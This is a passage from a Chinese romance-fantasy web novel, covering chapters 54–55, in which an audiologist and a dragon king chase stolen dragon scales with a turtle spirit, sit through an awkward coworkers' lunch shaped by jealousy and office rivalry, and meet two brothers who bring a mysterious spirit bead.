最后的诊断当然是没有问题,只要最近好好休息,尽量少去噪声环境中,耳鸣会自己恢复。 “我就说没事,你们非得让我来查一遍。”陶清观把报告单收好,几项检查二三百又没了,他轻叹一声,“医院果然是消费最高的地方。” 宴氿提醒道:“过马路了,看着点。” 陶清观嗯了一声,随着人流往前走,他们刚到马路对面,一人忽然叫住他的名字,陶清观回头看见李玉鑫站在路旁边。 李玉鑫,他的老同事,前不久刚升职,坐的就是陆满满所说该是他的位置,对此陶清观没什么感觉,确实是他自己中途出了岔子,怪不得别人。 见到熟人,陶清观礼貌问好:“好巧,从儿童医院过来的?” 儿童医院就在他们医院对面,有时忙不过来,两边医生会有所流动,陶清观也去过那边给小孩做测听,一般是学校组织体检时会有这样的调动。 李玉鑫上下打量陶清观一番,见对方气色不错,顿感意外,陶清观比他年轻几岁,可每次对方都排在他前头,好不容易将人打压下去,陶清观见到他不该不甘心么。 “你又请假?”李玉鑫蹙眉,似是为陶清观着想,“我听说光这个月你就请了四五天假了,再这样下去,你离升值可就越来越远了,虽然升值的机会是难得,但你也不能自暴自弃。” 李玉鑫站得笔直,头微昂着,一副胜利者的姿态,心底好不得意。 “放心,我心底有数。”陶清观咧嘴露出一个标准的微笑,他手里转着车钥匙,摁了下钥匙上的摁钮。 旁边一辆看着就超级贵的劳斯莱斯响了一下,陶清观拉开车门坐进去,冲目瞪口呆的李玉鑫挥挥手,“我有事,先走了,你加油工作。” 陶清观等宴氿上车,一踩油门,将车开了出去,留李玉鑫在原地吃汽车尾气。 李玉鑫面色扭曲,红了又青,青了有紫,宛如打翻了的调色盘。 说好的一起当牛马,你怎么突然变成有钱人了! 陶清观从后视镜瞥了眼李玉鑫,他啧啧两声,这就是富三代的感觉啊,一个字,爽。 他握着方向盘,指尖轻点,感慨一声,“老头子挺上道的,我还以为他会随便买辆车糊弄我。” 坐在副驾驶的宴氿瞥了眼唇角上扬的陶清观,问道:“喜欢?” “那当然。” 谁会不喜欢透着全身上下透着人名币气息的劳斯莱斯,反正陶清观不能拒绝。 宴氿在心中记下这一点,他注视着前方,到嘴边的话反复了几次,依旧在口中徘徊,他眉心拧起,仿佛在思考什么世纪难题。 陶清观注意到宴氿的神情,开口问道:“怎么欲言又止的,这可不像你,你想说什么?” “……为什么不想参加你朋友说的聚会,是因为有喜欢的人吗?”宴氿扭头望向窗外,留给陶清观一个看不清神情的侧脸。 陶清观一愣,属实没想到宴氿会问出这种话,不过大概又是作为‘父亲’,得关心孩子感情问题之类的原因,相处这么久,他已经能理解宴氿的脑回路了。 好好一条龙,就喜欢给人当爹,也不知道这奇怪的癖好是从哪来的。 陶清观敷衍道:“没有,单纯是觉得麻烦,而且现在我也没多少空余的时间,谈了又不能好好陪对方,这不是在耽搁人么。” “要有空闲时间才能谈?” “也不是。”陶清观心底嘀咕,宴氿什么时候对这种话题感兴趣了,“只是我觉得谈了恋爱,要是连对象的人影音讯都摸不着,那不如养一条狗。” 狗还能随叫随到,给点情绪价值。 “至少我得在他需要我的时候及时出现,给他足够的安全感,这些是最基本的吧。” 陶清观的恋爱观是徐婉晴教的,小小的他经常跟在徐婉晴屁股后边帮忙做家务,虽然他爸陶雨霖跟脑子有病似的,但对徐婉晴也是没话说,所以陶清观在这方面很有责任意识。 周边朋友谈了三四个了,他还是个寡王。 宴氿抿紧唇,下颌线清晰流畅,他眸光闪烁,放在腿上的手指蜷缩起。 怎么会有人每点都踩在他的喜好上,可爱到让他有点招架不住。 陶清观说完,顺嘴问宴氿一句:“你呢?活了这么多年,没想着找对象?” 宴氿含糊地说道:“之前没遇到喜欢的。”现在遇到了,但人家不喜欢他。 陶清观正想问宴氿喜欢什么样的,忽然感觉到空气中灵不自然的波动,他望了眼波动传来的地方,心想着可能是有雨师出任务。 但身旁的宴氿神色肃然改变,“过去看看,那边有鳞片的气息。” 并且他很确定,那是他的龙鳞。 陶清观听到这话,在下个路口调转车头,他踩着限速的点一路疾驰,赶到波动的源头,那是一片湖景公园。 停好车,两人走了下来,陶清观环顾四周,问宴氿道:“能确定具体方位吗?” 这湖景公园还挺大,中央是个人造湖,旁边围了不少游客,游客们三五成群,嬉笑逗乐,一派和平的景象。 而且灵的波动也消失了,一时间陶清观找不到半点异常。 “不能。”宴氿眉眼压得很低,“气息太薄弱了。” 估计那人只带了一点碎片在身上。 宴氿扫视一圈,抬脚向一旁的许愿池走去,陶清观见此抬脚跟上。 走到围栏边,陶清观向下打量,许愿池底盛满硬币,一只背径近一米的大乌龟在池水里悠闲滑步,乌龟懒洋洋地晃了一圈,径直向他们这边游来。 陶清观嘴角抽搐,“这乌龟……”不会是他想得那样吧? 宴氿肯定道:“是玄北。” 陶清观挑眉,哟,新工作找得还挺快的。 附近人多眼杂,玄北没法直接变回去,它嘴里叼着游客投喂的面包,掀开眼皮看了宴氿一眼,它伸长脖子,指向南边。 旁边游客传来惊奇的声音,“哇,它脖子好长呀。” 玄北歪脑袋,又把脖子抬高了点,不白来,都不白来,这门票得回本。 宴氿对陶清观道:“你待着这,我去看看。” 有玄北在,他不用担心陶清观的安全问题,虽然玄北废物了一点,但对付几个人类绰绰有余。 陶清观自觉道:“放心,我肯定不会离开半步。” 宴氿不拖沓,转身离开,早点解决完,他好早点回到陶清观身边。 陶清观靠在围栏边,今天天气不错,小风阵阵,又有阳光洒落,不冷不热,正适合出来郊游。 光着站有点无聊,他到旁边的地摊上买了包面包边,趴在围栏边投喂玄北。 玄北十分给面子,游到离陶清观最近的地方,慢悠悠地吃起来,它黑色的眼珠子圆溜溜的,配上光滑的脑袋,看着有几分喜感。 陶清观调侃道:“生活不易,卖身又卖艺。” 玄北:嚼嚼嚼嚼嚼。 看玄北吃得这么香,陶清观拿着面包边的手转了个方向,塞进自己嘴里,他嚼吧嚼吧,味道居然还不错,奶香奶香的。 于是陶清观&玄北:嚼嚼嚼嚼嚼。 就在这时,一道不明由来的气息袭来,陶清观背后一凉,转身去查看,却什么都没有发现。 “你身上有龙鳞的气息,你也参与了当年那件事?” 粗哑声音直接从脑海中响起,带着令人毛骨悚然的感觉。 那道声音没等陶清观回答,又自顾自道:“不对,你的年龄对不上,是新任的龙王契约者?早听闻这次契约者年龄小,没想到居然这么年轻。” 陶清观皱眉,他最讨厌谜语人了,还是这种在他脑袋里呱呱的谜语人,本来耳鸣就烦,现在又多了只苍蝇嗡嗡嗡。 他无视那道声音,目光在周围的游客中搜寻,玄北察觉到陶清观的不对劲,也停下吃面包的动作,乌黑的眼珠转悠着划过一张张人脸。 可游客太多,纵使知道那人在附近,也没法确定对方是谁。 陶清观将手藏在身下搞小动作,下一秒,啪嗒一声响,东西落入水中,他惊慌地开口:“我的手机!” 一瞬间,众人的目光都望向水面,偶有几个没抬头的,要么在玩手机,要么是离得远没注意到,这其中又一人十分明显。 他靠在围栏边,渔夫帽将他的脸全部遮住,听到声音的第一刻他没有去看,而是转身想跑路。 陶清观离那人有点距离来不及追,他立即指挥玄北。 “杰尼龟,喷水!” 第54章 第 54 章 醋意 玄·杰尼龟·北听到陶清观的话, 不假思索地把水喷出去,那人连带着周围的游客都被浇了个透心凉。 那人反手压紧帽子,混入人群之中, 陶清观刚想追, 一注水从天而降,落在他的脚边, 他回过头看见玄北一瞬不瞬地望着自己,圆溜溜的眼睛里写满不赞同。 行叭。 陶清观撤回脚步,万一是敌方大boss, 他追上去很可能就是送菜,不过宴氿怎么搞的,说好的去追人,结果敌方都到家门口了,也没见着也宴氿的身影。 这时一旁的热心大婶凑过来:“小伙子, 你手机飘水池上呢,快让管理员拿竹竿子帮你够上来。” “啊,没事, 我才发现只有手机壳掉进去了, 虚惊一场。”陶清观不好意思地笑笑。 那大妈嗔怪道:“你这孩子,毛毛躁躁的, 下次可得小心点。” 陶清观连声道:“好好。” 他这边话音刚落, 人群中又爆发出一声巨大的‘杰尼龟,喷水!’。 陶清观都给吼愣住了, 玄北更是懵上加懵, 他昂着头,望向兴致勃勃的人群,犹豫片刻, 低头含了口水朝天上喷去。 水柱在高处散落,变成无数个小水滴,如喷泉般盛开,半空中折射出一道浅浅的彩虹。 “哇,杰尼龟再来一个!” “好厉害,还能喷高点吗?” “有彩虹诶!” “……” 玄北在一声声惊呼中迷失自我,脑袋反复仰卧起坐,含着水就是喷。 陶清观思考不过一秒就加入其中,他凑着热闹道:“杰尼龟,使用水枪攻击。” 玄北:噗噗噗噗。 宴氿一回来,看见许愿池边的游客数量暴增,池里玄北发了疯似的到处喷水,陶清观连带着其他游客啪啪鼓掌。 他眼底罕见地浮现出困惑,他不过离开一会儿,怎么就看不懂现在的局面了。 “这是怎么回事?”宴氿穿过人群来到陶清观身旁。 听到熟悉的声音,陶清观回过头,他向宴氿招招手,示意对方靠过来,压低声音将刚刚发生的事跟宴氿复述了一遍。 宴氿第一时间问道:“有没有受伤?” “没有。”陶清观摇头,“这么多人,再加上有玄北,他不敢动手,而且……” 他扬了扬手中没有壳的手机,勾唇笑道:“我把他的样子拍下来了,就是他一直戴着帽子,没拍到正脸。” “你那边怎么样?” 宴氿打开握着的手,掌心内躺着几块碎片,他开口道:“人已经被局里的人带走了,他的目的是公园里的那件礼器,应该要不了多久就能问出原因。” 礼器,能吸附空气中的灵蕴养自身,同时还能滋养脚下的土地,功效类似于大豆固氮。 “这些跟你给我颜色不太一样,难道说逆鳞和普通鳞片不同?”陶清观好奇地拿起宴氿手中的一块碎片,虽然同样是银白色的,但这一块有些发灰,也没什么光泽。 宴氿不着痕迹地揽住陶清观,将人往人群外带,他解释道:“只是普通鳞片,是我以前换鳞褪下的。” 换下的鳞片他没刻意收集过,倒是那条老龙拿了一些,可现在居然落入人类手中,看来当年参与围剿的人数比他预想中还要多,不然也不至于连他的鳞片都被抢走。 宴氿敛下眉眼,眼底划过一抹深思。 大海宽阔,他与那家伙几十年不一定见上一次面,对方从头到尾没提过被人类围剿的事,他也没什么同族情谊去多管闲事,帮对方报仇,他只在意逆鳞是否也在那群人手中。 他睡个觉也能冒出这么多乱子,人类可真能折腾。 宴氿心中不耐,他瞥向一旁的陶清观,纷杂的思绪渐渐沉淀,逆鳞得找回来,那群烦人的苍蝇没资格拥有他的逆鳞。 他想送给…… 宴氿转过头,垂落的碎发遮挡住他荡漾如秋水般的眼眸。 陶清观没注意宴氿的反应,他正给陶笠鹤做汇报,他把知道的东西一股脑发过去,顺带将拍到的照片和视频也分享给陶笠鹤。 他坐在驾驶座上忙活半天,觉得差不多,又去问宴氿,“你还有什么线索吗?” 宴氿顿了几秒,才开口回答:“暂时没有。” “嗯。” 陶清观收起手机,将车钥匙插上,“你下午有事吗?我要去一个地方。” 宴氿即答:“没事,我可以陪你。” 他一手支着头,掌心遮住唇瓣,漫不经心的目光望着车窗外的景色,只有他们两个人,没有碍事的家伙,这算是约会么。 宴氿嘴角翘起,外出郊游也是增近感情的一种方式,会是去哪呢? 他心底带着淡淡的期待,然后陶清观带着他来到本市最大的图书馆前。 “再过两周有个考试,我才复习了一半,得赶进度。”陶清观眼底没有丝毫暧昧,全是对知识的渴望,“你要是觉得无聊可以去对面的商场玩,先回家也行,我晚点回去。” 宴氿:“……我也可以一起看会儿书。” 他安慰自己,图书馆的气氛也不错,还很安静。 但进去后,陶清观的眼神就没多分给他半点,空气都比他多几分存在感,宴氿木着脸盯着手中的书,半天没翻一页。 重新回到知识的海洋,陶清观差点溺毙,有些东西太久不看真的会鼻子不是鼻子,眼睛不是眼睛,好在他基本功扎实,想捡起来也不难。 就这么一直看到晚上,临走前陶清观还借了两本书。 回家吃完饭洗完澡后,他又把自己关进卧室里接着看。 全程没和陶清观说上几句话的宴氿,生出浓浓的挫败感,一天下来别说有进展,陶清观都没正眼看过他几次。 宴氿坐在沙发上,周身萦绕着低气压,这样下去,他何年马月才能得到陶清观的青睐。 忽然,窗边传来响动,宴氿一抬头看见一个人影趴在窗户上,换做普通人大概会被吓到,但宴氿嫌弃地一扯嘴角,“你跟过来干嘛?” 窗外的人正是玄北,他一手抓着上边的窗沿,整个人随风摇摆,他敲敲玻璃窗,开口道:“快让我进来,我有正事。” 宴氿打开窗户,玄北翻身跃进来,他刚要往客厅走,一只脚拦在他面前,他抬起头看见宴氿不耐烦的表情。 “就在阳台待着,有什么事快说。” 都是老朋友,谁还不了解谁,玄北撇嘴,损话张嘴就来,“你好像撒尿圈地盘的狗。” 宴氿冷笑,伸手就要把玄北往外扔。 玄北赶忙躲开,嘴上嚷嚷着,“我错了,真有事要你帮忙,你先听我说。” 宴氿双手抱臂,兴致不高地嗯了一声,“声音小点,三分钟内说清楚。” “无情的家伙。”玄北吐槽道,他说着又长叹一口气,“你不是龙嘛,应该很擅长笼络人心吧,给我出出主意,怎么才能把人哄到对自己无法自拔。” 宴氿身姿一僵,他移开目光,“具体是怎么回事?” 他要是知道,哪至于现在这样。 玄北大倒苦水,“我的饲养员不想养我了,我本以为他过段时间会消气,结果到现在他也不说带我回去。” “新找到这份工作环境完全比不上之前那个,伙食也不行,我想让他接我回去,可他最近只对那群长毛的感兴趣,你帮我想想办法。” 宴氿睨向垂头丧气的玄北,这货三天两头从动物园里溜出来,被弃养也是活该,他随口道:“你重新找个差不多的动物园就是了。” “那不一样。” 玄北挠挠头,但哪不一样他又说不出个所以然来,“以前我主动去蹭他两下就好了,可这次他一点反应都没有,我还特地给他找了好吃的,他也没理我,你说我是不是再去找他道歉比较好。” 宴氿蹙眉,“一个人类,至于让你低声下气这么哄着?不行就换一个。” 玄北纠结,扣着手指不说话。 就在这时开门声响起,陶清观打着哈欠出现在门边,说道:“你把牛奶放哪去了,我想喝。” 宴氿立即走过去,“在茶几下边,我帮你热一下再喝。” 他熟练的拿起牛奶,走向厨房,嘴上不忘关心陶清观,“玄北过来了,有吵到你吗?他等会就走。” 完全没说过要走的玄北:“……” 他神情复杂地望着宴氿,就这,宴氿是怎么有脸说出刚刚那种话。 听到宴氿的话,陶清观才发现阳台上多了一个人,他意外,“玄北怎么来了?” 宴氿:“他被……” “咳咳咳。”玄北使劲给宴氿使眼色,他不要面子的嘛,怎么什么都往外说。 宴氿话头止住,觉得玄北麻烦,“他有事找我。” 陶清观见玄北咳个不停,开口问道:“没事吧?我这有感冒药。” 玄北前几声是装的,但后边是真被口水呛到了,他一边咳嗽,一边摆手,“我、我没事,我就是来找他聊点情感问题。” 陶清观更加诧异,“你们两谁有喜欢的人了?” 玄北:“你不知……” “咳咳咳。”宴氿打断玄北,皮笑肉不笑地开口:“是玄北有在意的人。” 玄北干笑两声,“差不多。” 他在心底诽议,就老氿这倒贴的模样,他还以为已经成了,结果八字没一撇。 陶清观来了兴趣,八卦是个人都喜欢听,他好奇地问道:“所以你们两刚刚是在讨论怎么追人?” 玄北&宴氿:“咳咳咳。” 两个人咳得此起彼伏,跟暗中较上劲似的。 宴氿拿过桌旁的杯子,开口道:“好像是有点感冒,我去冲感冒灵。” 玄北抬脚跟上去,“我也是,给我喝点。” 陶清观视线在宴氿和玄北之间来回移动,总觉得哪里不太对,但这两人显然没有告诉他的想法。 唉,孩子到了青春期,总会有属于自己的青涩小秘密。 他等牛奶热好,拿起来往房间走,陶清观贴心地开口:“卧室的门隔音挺好的,你们放心聊。” 话音落下,卧室门关上。 玄北一脸菜色地咽下口中的感冒灵,嫌弃道:“这玩意也太难喝了。” 宴氿默默把剩下的倒了,说道:“你可以滚了。” “喂,你不帮老朋友就算了,还要赶我走?”玄北哼了一声,阴阳怪气道:“是谁说的,换个人~” 宴氿给玄北一肘击,“他不一样,别给我添乱。” “得了吧。”玄北揉着被打的地方,“你这么磨磨唧唧的,小心他跟人家跑了。” “不会。”宴氿肯定道:“他在这方面跟我一样,很慎重专一的。” 陶清观的生活轨迹基本跟他重合,截至目前他就没见过陶清观对什么人另眼相看,要说最特殊的,那就只有他。 “哦~” 玄北刻意拖长尾音,他两手往脑袋后边一垫,朝阳台走去,“算了,问你一条老处龙,不如我自己琢磨去,你可别太自信,他要是真跑了,你可有得哭的。” 宴氿蹙眉,“轮不到你操心。” 玄北耸肩,跟来的时候一样,打开窗户一跃而下。 宴氿走到床边,抬手将窗户关上,他看着楼下小路上远去的背影,覆在玻璃上的手渐渐收紧。 他可不是玄北那种废物,自己喜欢的人都留不住。 宴氿这份自信一直持续到周末的中午。 听清陶清观的话,宴氿不敢置信地瞪大眼睛。 “为什么我不能一起去?” 陶清观穿戴整齐,一副要外出的样子,他委婉地劝道:“那边不好停车,我要骑电动车去,没办法带你,再说你一天到晚陪着我跟上班似的,偶尔也得放放假,就在附近,没什么危险,” “我不觉得累。”宴氿心中警铃大作,“你是去吃午饭,带上我也没关系吧。” “嗯……” 陶清观面露难色,是吃午饭没错,但和他吃午饭的人不太对,苏小钱和苏沿约他见面,这两人现在在监察期,有特管局的人跟着,他不用担心有什么危险。 本来带宴氿也没什么,可苏小钱说什么都不愿意再看见宴氿,顾及宴氿确实给人留下不小的心理阴影,带过去苏小钱二人不自在,没法好好聊,陶清观决定把宴氿扔家里。 “主要是电动车没法带你,我回来给你带好吃的行不行?” 宴氿眯起眼眸盯着陶清观看,似乎在思考陶清观话中的真实性,他的直觉告诉他,这里面肯定有猫腻。 “没事,我可以坐后座。”宴氿下一秒缩水一大截,他顶着一张未成年的脸开口,“现在可以带了。” 陶清观:“……”算你厉害。 领着重新换了身衣服的宴氿走下楼,陶清观骑出自己的小电驴,他试图挣扎。 “路上你要是看到别的想吃的,我放你下去,今天我请客。” 陶清观越这么说,宴氿越觉得可疑,他坚定地摇头,“我没什么想吃的,跟你吃一样的就行。” 事已至此,陶清观也没什么好说的了,带就带着吧,反正不是他吃不下去饭。 陶清观骑着小电驴,一路溜到三公里外的酒店,他停好车,下来看了眼时间,发现距离约定的点还有半个多小时。 他刚想问宴氿要不要到对面奶茶店坐坐,一道熟悉的声音忽然插进来。 陆满满惊喜道:“你怎么来了?终于想通来参加聚会了?” 陶清观一愣,看着陆满满身后一大帮子人,后知后觉这家酒店也是聚会的场地,他摆手道:“不是,我是跟人有约。” “那就是说在等人?”一健硕的男子笑着开口,“现在这边坐坐,等人来了再走也不迟。” 旁边的人帮腔道:“是啊,陶医生你可得给我们面子。” “先喝两杯,算我们请客。” 话说到这份上,同事一场,陶清观不好拒绝,他笑道:“凑个热闹可以,喝酒就算了,我还带着未成年。” 陶清观一手搭在宴氿肩膀上,缩水后的宴氿比他稍微矮一点,他搭着正合适。 陆满满打量着宴氿,第一眼就觉得对方眼熟,他问道:“这是你那个朋友的弟弟?” “嗯。”陶清观笑着点头,他不怀好意地望向宴氿,说道:“是吧,弟弟,来叫声哥哥。” 宴氿眉尖上挑,他勾起唇角,“哥哥。” 少年嗓音清冽,上扬的尾音像是在心头挠痒痒似的。 陶清观身心舒坦,哥哥好啊,下次能听到叫爸爸就更好了。 他带着宴氿,和陆满满一大帮子人走进包厢。 菜早在线上提前点好,服务员等他们落座,便开始走菜,陶清观坐在临时加的位置上,见有人递来碗筷,他推拒道:“不用,我坐一会就走。” 那位拿着碗筷的长发美女也不失落,转而将盛满饮料的杯子放在陶清观面前,“菜不吃,饮料多少喝点。” 她自然地坐在陶清观旁边的空位上,调侃道:“陶医生可真是大忙人,咱们同一个科室,一星期我也见不着你几回。” “是我请假次数太多。”陶清观接过杯子,打趣道:“我这个月的工资怕是得给我点颜色瞧瞧。” 长发美女孙怡颜闻言,杏眼含笑,她开玩笑般地说道:“放心,你要是流落街头,我肯定会接济你,不会让你沦落到睡桥洞的。” 陶清观笑笑,“那倒不至于。” 坐在陶清观另一边的宴氿,面无表情地拿过陶清观面前地杯子,“我想喝你这个。” 宴氿仰头将饮料喝完,暗自磨牙,什么叫接济,哪轮得到她,再来十个陶清观他也养得起。 陶清观疑惑地瞥了宴氿一眼。 这么渴? 他拿过架子上的饮料帮宴氿重新续上,说道:“慢慢喝,没人跟你呛。” 宴氿心底冷哼,饮料是没人抢,但有人跟他抢人了。 见没法接着聊下去,孙怡颜又挑起一个新话题,“听李玉鑫说,你好像买新车了。” 隔着几个座位的李玉鑫听到这话,酸溜溜地开口,“是啊,还是劳斯莱斯,我之前都不知道,原来你家这么有钱。” 果然是逃不掉,这种场合看似大家和和乐乐吃饭,实则各种炫耀显摆,就像高中大学同学会一样,一个个话中是暗藏玄机,生怕别人不知道自己过得有多好。 全是人情世故局。 陶清观心底吐槽了个遍,面上不显,“我也是最近才知道,家里人怕我乱花钱,一直没告诉我。” “真的假的?”李玉鑫不信,“那怎么突然告诉你了?难道说是打算给你相亲,你们这种有钱人家的少爷,不就喜欢搞联姻那一套。” 孙怡颜面色微变,“不会吧,我看陶医生也不像打算结婚的样子。” 陶清观打着哈哈,“我不参与那些事,不太清楚,别光说我,大家不得先祝贺一下李玉鑫升职。” 其他人闻言,很给面子地送上祝贺的话。 孙怡颜也随了一句,她说完悄悄往陶清观身边挪了点,压低声音道:“你别难过,我爸说最近还有一位副主任要退休,到时候调职你还有机会。” 她是副院长家的独生女,喜欢陶清观有个一两年了,碍于陶清观一直对自己不冷不热,孙怡颜找不着合适的机会和陶清观拉进关系。 现在听到陶清观的家境不错,她心底生出浓厚的危机感。 陶清观微微侧目,“谢谢。” 宴氿注意到陶清观在和孙怡颜说悄悄话,平静的脸色顿时绷不住了,他拉住陶清观的手腕,将人拽到自己这边,“你等的人还没来吗?” “没,到了他会给我发消息。”陶清观见宴氿面色不太好看,开口问道:“身体不舒服?还是觉得里面闷?你可以出去等我,我过会儿就出来。” 出去!? 他在都这样的,出去了那还得了。 宴氿扯着嘴角露出一个微笑,“我没事。” 第55章 第 55 章 第二次告白 宴氿拿着水杯, 指节微微泛白,他知道陶清观对身旁的人没有别的意思,可那人有意靠近陶清观的举动, 还是让他有种自己的人被窥视的感觉。 不爽, 很不爽。 不爽不爽不爽不爽不爽不爽。 玻璃杯发出不堪重负的声响,宴氿一瞬间回神, 松开手,他唇瓣崩成一条直线,漆黑的眼眸闪过一丝戾色。 或许他与那些被他所鄙弃龙本质上没什么区别, 只是他从前不曾沾上这部分的感情而已。 宴氿眉心微微皱起,他垂下眼眸,拉住陶清观的手。 手突然被握住,陶清观偏过头,宴氿的举动太过反常, 他低声道:“是不是真的有哪里难受?要我带你去特管局吗?” “我身体没问题。”宴氿嘴上这么说,手却没松开,他身子后仰, 靠在椅背上, 另一只手漫不经心地拿起桌上的玻璃杯。 他转过头,似看着陶清观, 又似看着隔着一个位置的孙怡颜, 眼底带着戏谑的笑意,“我打扰到你了?” 陶清观对上宴氿的目光, 他眨了眨眼, 开口道:“那倒没有。” 跟人客套而已,哪谈上的打不打扰。 孙怡颜心底起了个疙瘩,秀眉拧起, 看宴氿的眼神有些变色,她总觉得宴氿对她有敌意。 她放在腿上的手蜷缩起,眸光微闪,她拿起地上的果汁,对宴氿笑道:“小弟弟要不要我再给你倒一点。” “我来就行。” 陶清观接过孙怡颜手中的饮料瓶,他瞥了眼宴氿的脸色,心中无情嘲笑,谁让这家伙非要变小跟过来,活该被占口头便宜。 他笑眯眯地给宴氿杯子倒满,故意加重咬字,“小弟弟,慢慢喝,不够还有。” 宴氿目光划过陶清观的脸庞脸庞,他看穿对方的小心思,眼底有笑意一闪即逝,“谢谢哥哥。” “嗯哼。” 陶清观要是有尾巴这会儿该翘上天了,他还想再逗宴氿,但一旁的孙怡颜向他伸出手,开口说道。 “给,盖子。” “好,谢谢。” 陶清观把瓶盖重新拧上,孙怡颜自然地接过陶清观手中的饮料放到自己旁边,见陶清观看过来,她挽起红唇,压低声音问道: “你下午有时间吗?我手里有多的电影票,是最新上映的那部科幻片,小朋友应该很感兴趣,你们要不要跟我一起去?” 宴氿眼底浮现不悦,他克制着没有开口。 陶清观神色不变,同样小声回答道:“谢谢,但我下午没空,最近没什么时间,你去找别人陪你吧。” 孙怡颜勉强地扯了下嘴角,回了句好,她没再往陶清观那边靠,脸上的笑意淡去,成年人之间点到为止,她听得懂陶清观的意思。 “来都来了,你多少吃点。”李玉鑫的大嗓门响起,瞬间拉来全场的注意,他望着陶清观道:“这家包厢很难订的,我也是找的熟人,点的都是特色菜,外边可吃不到。” 陶清观:“不了,我朋友也快到了。” 李玉鑫不想放陶清观离开,“你干脆把朋友一起带来,外面大堂吵,不如包厢里安静,还是说来的是你富二代朋友,看不上我们这边?” 陶清观多看了李玉鑫一眼,搁着给他使绊子呢,带着不认识的人过来参加同事朋友聚会,亏李玉鑫能说出这种话。 “也行。”陶清观欣然答应,“我这就跟他们说有人请吃午饭,这包厢难订,菜的价格也不便宜吧,让李主任破费了。” 李玉鑫脸色一变,“我什么时候说要……”请客。 “我就知道李主任大气。”陶清观打断李玉鑫的话,“正好我那边也是聚会,十来个人,包厢好像有点坐不下,李主任能让你那朋友换个大点的包厢吗?” 李玉鑫脸看着笑得人畜无害的陶清观,脸都绿了,感觉到桌上其他人的目光汇聚过来,李玉鑫哑巴吃黄连有苦说不出。 就在这时,包厢的门被敲响,李玉鑫仿佛得救一般,开口道:“进来吧。” 服务员推着餐车走进来,后边跟着一位穿西装打领带的中年人,李玉鑫看到那人,眼睛一亮,起身道:“李经理,你怎么来了?” 显然这位李经理就是李玉鑫口中的熟人,陶清观目光扫过两人,一个姓的,长得挺像,都两个鼻孔,一张嘴巴的。 那位李经理冲李玉鑫点了下头,然后他让开位置,站在门侧,神色恭敬。 李玉鑫察觉到不对劲,他向后看去,发现李经理身后还站着位衣着非富即贵的青年。 青年带着笑走进来,他冲陶清观打了声招呼,开口道:“我听说你来了,就过来打个招呼,菜色还满意吗?” “好巧。”陶清观礼貌起身,他的座位靠着门,正好与青年,也就是上次在宴会上与他交换联系方式的董飞寒暄,“你这边包厢都供不应求,菜色还用说么。” “害,我开着玩的,比不上我爸那边,下次我带你去吃。”董飞熟稔地开口,“随便吃,今天我请客。” 他扭头对旁边的李经理说道:“老李你把人记着,下次他来都记我账上。” 李经理:“好的,老板。” 陶清观客气道:“不用……” “没事。”董飞搭上陶清观的肩膀,一副好哥两的样子,“让我爸知道我收你钱,他还不得念叨死我,几顿饭而已,用不着跟我客气。” 陶清观瞥了眼脸色黑如锅底的李玉鑫,笑道:“行,谢谢了。” “是啊,谢谢。” 宴氿挤进董飞和陶清观中间,面色不善。 董飞一时间没认出宴氿,但看宴氿和陶清观亲昵的模样,他反应过来,“您……” “哥哥。”宴氿拉住陶清观的胳膊,问道:“还没到时间吗?我们什么时候可以走?” 陶清观眉尖上挑,有些诧异宴氿会在这时候冒出来,但再坐下去确实不合适,他对桌上的人说道:“我弟弟等急了,就不打扰你们了。” 其他人纷纷说好,跟陶清观道别,除了李玉鑫和陆满满,前者是觉得丢脸,后者是沉浸在自己好朋友突然变得有头有脸的震惊当中。 一行人退出包厢,董飞看到宴氿,就跟老鼠看到猫似的,匆匆离开,走之前他还不忘将陶清观安排妥当,给人送到最好的包厢中。 关起门,陶清观总算能光明正大地调戏宴氿。 他一条胳膊搭在椅背上,侧着身子盯着站在旁边的宴氿看,“来,再叫两声哥哥。” 宴氿瞧着笑得跟小狐狸似陶清观,心底痒痒的,他都顶不住,也不怪那些人喜欢往陶清观跟前凑。 他上前一步,居高临下地看着陶清观,宴氿俯下身,薄唇轻启,“我之前怎么没发现,你这么受欢迎。” 灯光被挡住,视野被宴氿占据,陶清观下意识后仰想拉开距离,可他刚动一下,肩膀就被宴氿摁住,对方手下的力道让他移动不了分毫。 不是吧,他就开个玩笑,真给人惹生气了? 陶清观察觉到情况不妙,也不惦记那两声哥哥了,“我这是夸你长得嫩,不愧是龙王,活个千八百年还水灵灵的,跟十五六岁的小伙子似的。” 宴氿想起自己这会儿的外外形,他哼了一声,变回原样,原本宽松的衣服瞬间变紧,棉质布料下隐隐勾勒出肌肉线条,他掐住陶清观的下巴,心底往外泛着酸水。 他想要一个光明正大的身份,可以赶走陶清观身边的追求者,哪怕不能立即结为伴侣也好,他想…… 宴氿眼底划过一丝暗色,“我……” “咚咚咚。” 宴氿不理会,“我……” “咚咚咚咚咚!” “我……” “咚咚咚咚咚咚咚咚!” “要不,先开个门?”陶清观往后挪了挪屁股,“外面要等着急了。” 宴氿后槽牙咬紧,他松开手,臭着脸站到一边,脸上就差写满不高兴三个字,怎么每次到关键时候总给他出点状况。 陶清观松了口气,刚刚宴氿那表情,他还以为自己要挨揍了,小气鬼,他不就占了几句便宜。 他打开门,苏小钱和苏沿兄弟两走进来。 陶清观提前跟他们发过消息,告知宴氿跟来了,但苏小钱这会儿看见宴氿,还是没忍住往苏沿背后躲。 实在是宴氿现在的表情太过吓人,怪不得苏小钱胆小,苏沿也是如临大敌,生怕宴氿突然动手。 见苏小钱两人警惕着,坐都不敢坐,陶清观头疼,他凑到宴氿身旁,低声道:“你收敛点。” 宴氿闻言,面无表情地拉开椅子,大马金刀地往那一坐,气势没减分毫。 陶清观嘴角抽搐,在心底暗骂一句幼稚,他弯腰附在宴氿耳边,小声道:“哥哥,我叫你哥哥行了吧,聊正事呢,你别在这添乱。” 一声哥哥伴随呼出的热气,如羽毛搔过心尖,留下阵阵痒意。 宴氿放在腿上的手攥成拳,他将头撇向一边,说道:“我又不会动手,是他们胆子太小。” 陶清观忍着把宴氿扔出去的冲动,对苏小钱二人道:“坐吧,他今天心情不好,不是针对你们两个。” 苏沿护着苏小钱,在离宴氿最远的位置上坐下。 他用余光扫了眼宴氿,犹豫片刻从怀里掏出一样东西,“我想你应该需要这个。” 一个长得像玻璃珠的东西被苏沿放在桌面上,半透明的圆球上面布满擦痕,里面封着一团灰色的雾气。 宴氿拦住陶清观的手,拿过桌面珠子,他一眼认出封在其中的东西,“道灵,这不是像你们能拿到的东西。” 若说天赋是雨师的上限,那道灵便能提高这一上限,它是由上千种动植物体内的灵凝聚而成,光收集就要费不少功夫,更别说将这些灵封存好,进行一系列复杂的加工处理。 不是宴氿看不起苏沿,对方根本没有这样的实力。 